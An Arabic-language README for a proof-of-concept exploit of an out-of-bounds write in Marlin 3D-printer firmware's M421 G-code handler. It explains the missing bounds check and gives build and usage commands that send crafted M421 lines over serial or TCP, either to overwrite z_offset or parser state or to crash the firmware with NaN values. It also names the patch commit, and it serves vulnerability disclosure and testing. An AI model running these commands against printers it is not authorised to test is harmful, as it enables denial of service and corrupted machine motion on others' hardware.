
استغلال لإثبات المفهوم لـ CVE-2026-56111، وهو كتابة خارج الحدود في معالج M421 للتعليمات البرمجية G في برنامج Marlin الثابت، مما يوضح تلف الذاكرة المقيد عبر تعليمات G-code المصممة.
إثبات مفهوم لـ CVE-2026-56111، وهي كتابة خارج الحدود في معالج G-code M421 الخاص بـ Marlin Firmware عند البناء باستخدام MESH_BED_LEVELING.
1f255d1يتحقق معالج MBL M421 فقط من أن المؤشرات I/J ليست سالبة. لا يتحقق أبدًا من الحد الأعلى. ثم تقوم set_z() بكتابة z_values[ix][iy] = z بدون فحص الحدود. مؤشر يتجاوز الشبكة يكتب قيمة عائمة 32 بت مُتحكم بها خارج مصفوفة z_values، إلى حالة البرنامج الثابت المجاورة.
الكتابة مقيدة، وليست عشوائية. الهدف هو z_values + (ix*GRID_Y + iy)*4 بايت، مع تحديد المؤشرات بـ int8_t (أقصى 127)، لذا فإن النافذة القابلة للوصول تبلغ حوالي 2 كيلوبايت بعد z_values. أنت تتحكم في القيمة (float Z) والإزاحة (المؤشر). لا تتحكم في عنوان مطلق.
هذه الأداة ترسل فقط سطر G-code. تحدث الكتابة خارج الحدود داخل البرنامج الثابت. التأثيرات الملحوظة هي رفض الخدمة، تعطل البرنامج الثابت، أو حركة تالفة. تظهر كتابة الذاكرة الدقيقة في التنبيه الأمني، وليس بواسطة هذه الأداة.
gcc -O2 -o exp exploit.c
اختر قناة واحدة:
--serial <dev> لـ USB، مثل /dev/ttyUSB0 أو /dev/ttyACM0 (أضف --baud N إذا لزم الأمر؛ العديد من اللوحات تستخدم 250000)--tcp <host:port> للطابعات التي تعرض gcode عبر telnet/الشبكة، مثل 192.168.1.50:23أرسل M421 مع المؤشر والقيمة التي تختارها:
./exp --serial /dev/ttyUSB0 write -i 3 -j 0 -z 99.0
./exp --tcp 192.168.1.50:23 write -i 5 -j 0 -z 99.0
على شبكة افتراضية 3×3 (مؤشر صالح 0..2):
-i 3 -j 0 يكتب عند إزاحة 36 بايت، وهي z_offset (إزاحة Z للسرير)-i 5 -j 0 يكتب عند إزاحة 60 بايت، وهو كائن المحللأرسل مؤشرًا خارج النطاق بقيمة Z من نوع NaN. تنتشر NaN في حسابات الحركة وتؤدي إلى تعطل أو تجميد البرنامج الثابت بشكل موثوق:
./exp --serial /dev/ttyUSB0 dos
./exp --tcp 192.168.1.50:23 dos
قم بالتحديث إلى بناء Marlin يتضمن الالتزام 1f255d1، الذي يحد المؤشرات بنفس الطريقة التي يفعلها معالجو ABL و UBL بالفعل.
لأغراض البحث والاختبار المصرح به فقط. استخدم فقط على الأجهزة التي تمتلكها أو لديك إذن صريح باختبارها. إرسال هذه الأوامر يمكن أن يتسبب في تعطل الطابعة أو تعطيل الطباعة.